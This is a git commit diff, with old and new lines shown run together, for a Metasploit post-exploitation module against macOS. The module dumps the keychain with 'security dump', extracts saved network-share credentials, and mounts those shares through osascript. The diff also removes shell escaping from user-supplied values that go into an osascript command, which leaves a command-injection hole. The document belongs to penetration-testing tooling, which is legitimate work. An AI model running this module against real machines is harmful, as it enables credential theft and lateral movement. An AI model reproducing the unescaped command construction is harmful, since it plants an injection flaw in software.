Submitting first version for pull request

bug/bundler_fix
Peter Toth 2013-11-13 17:03:38 +01:00
parent 76660b858c
commit 0c096c10fb
1 changed files with 53 additions and 19 deletions

View File

@ -15,7 +15,7 @@ class Metasploit3 < Msf::Post
super( update_info( info, super( update_info( info,
'Name' => 'OSX Network Share Mounter', 'Name' => 'OSX Network Share Mounter',
'Description' => %q{ 'Description' => %q{
This module lists saved network shares and tries to connect to them using stored credentials. This module lists saved network shares and tries to connect to them using stored credentials. This does not require root privileges.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
@ -26,15 +26,15 @@ class Metasploit3 < Msf::Post
'SessionTypes' => [ 'shell', 'meterpreter' ], 'SessionTypes' => [ 'shell', 'meterpreter' ],
'Actions' => [ 'Actions' => [
[ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ], [ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ],
[ 'CONNECT', { 'Description' => 'Connect to a network share using stored credentials' } ], [ 'MOUNT', { 'Description' => 'Mount a network shared volume using stored credentials' } ],
[ 'DISCONNECT', { 'Description' => 'Disconnect a mounted volume' } ] [ 'UNMOUNT', { 'Description' => 'Unmount a mounted volume' } ]
], ],
'DefaultAction' => 'LIST' 'DefaultAction' => 'LIST'
)) ))
register_options( register_options(
[ [
OptString.new('SHARE', [true, 'Name of network share connection. `set ACTION LIST` to get a list.', 'localhost']), OptString.new('VOLUME', [true, 'Name of network share volume. `set ACTION LIST` to get a list.', 'localhost']),
OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']), OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']),
OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']), OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']),
OptString.new('PROTOCOL', [true, 'Network share protocol. `set ACTION LIST` to get a list.', 'smb']) OptString.new('PROTOCOL', [true, 'Network share protocol. `set ACTION LIST` to get a list.', 'smb'])
@ -46,37 +46,51 @@ class Metasploit3 < Msf::Post
fail_with("Invalid action") if action.nil? fail_with("Invalid action") if action.nil?
if action.name == 'LIST' if action.name == 'LIST'
data = get_share_list() saved_shares = get_share_list
if data.length == 0 if saved_shares.length == 0
print_status("No Network Share credentials were found in the keyrings") print_status("No Network Share credentials were found in the keyrings")
else else
print_status("Network shares saved in keyrings:")
print_status("Protocol\tShare Name") print_status("Protocol\tShare Name")
data.each do |line| saved_shares.each do |line|
print_good(line) print_good(line)
end end
end end
elsif action.name == 'CONNECT' mounted_shares = get_mounted_list
connect() if mounted_shares.length == 0
elsif action.name == 'DISCONNECT' print_status("No volumes found in /Volumes")
connect_vpn(false) else
print_status("Mounted Volumes:")
mounted_shares.each do |line|
print_good(line)
end
end
elsif action.name == 'MOUNT'
mount
elsif action.name == 'UNMOUNT'
unmount
end end
end end
def get_share_list() def get_share_list
vprint_status(datastore['SECURITY_PATH'].shellescape + " dump") vprint_status(datastore['SECURITY_PATH'].shellescape + " dump")
data = cmd_exec(datastore['SECURITY_PATH'].shellescape + " dump") data = cmd_exec(datastore['SECURITY_PATH'].shellescape + " dump")
# Grep for desc srvr and ptcl # Grep for desc srvr and ptcl
tmp = Array.new() tmp = []
data.split("\n").each do |line| lines = data.lines
lines.each do |line|
line.strip!
unless line !~ /desc|srvr|ptcl/ unless line !~ /desc|srvr|ptcl/
tmp.push(line) tmp.push(line)
end end
end end
# Go through the list, find the saved Network Password descriptions # Go through the list, find the saved Network Password descriptions
# and their corresponding ptcl and srvr attributes # and their corresponding ptcl and srvr attributes
list = Array.new() list = []
for x in 0..tmp.length-1 for x in 0..tmp.length-1
if tmp[x] =~ /"desc"<blob>="Network Password"/ if tmp[x] =~ /"desc"<blob>="Network Password"/ && x < tmp.length-3
# Remove everything up to the double-quote after the equal sign,
# and also the trailing double-quote
protocol = tmp[x+1].gsub(/^.*\=\"/, '').gsub(/\w*\"\w*$/, '') protocol = tmp[x+1].gsub(/^.*\=\"/, '').gsub(/\w*\"\w*$/, '')
server = tmp[x+2].gsub(/^.*\=\"/, '').gsub(/\"\w*$/, '') server = tmp[x+2].gsub(/^.*\=\"/, '').gsub(/\"\w*$/, '')
list.push(protocol + "\t" + server) list.push(protocol + "\t" + server)
@ -85,12 +99,32 @@ class Metasploit3 < Msf::Post
return list.sort return list.sort
end end
def connect() def get_mounted_list
share_name = datastore['SHARE'].shellescape vprint_status("ls /Volumes")
protocol = datastore['PROTOCOL'].shellescape data = cmd_exec("ls /Volumes")
list = []
lines = data.lines
lines.each do |line|
line.strip!
list << line
end
return list.sort
end
def mount
share_name = datastore['VOLUME']
protocol = datastore['PROTOCOL']
print_status("Connecting to #{protocol}://#{share_name}") print_status("Connecting to #{protocol}://#{share_name}")
cmd = "osascript -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'" cmd = "osascript -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'"
vprint_status(cmd) vprint_status(cmd)
cmd_exec(cmd) cmd_exec(cmd)
end end
def unmount
share_name = datastore['VOLUME']
print_status("Disconnecting from #{share_name}")
cmd = "osascript -e 'tell app \"finder\" to eject \"#{share_name}\"'"
vprint_status(cmd)
cmd_exec(cmd)
end
end end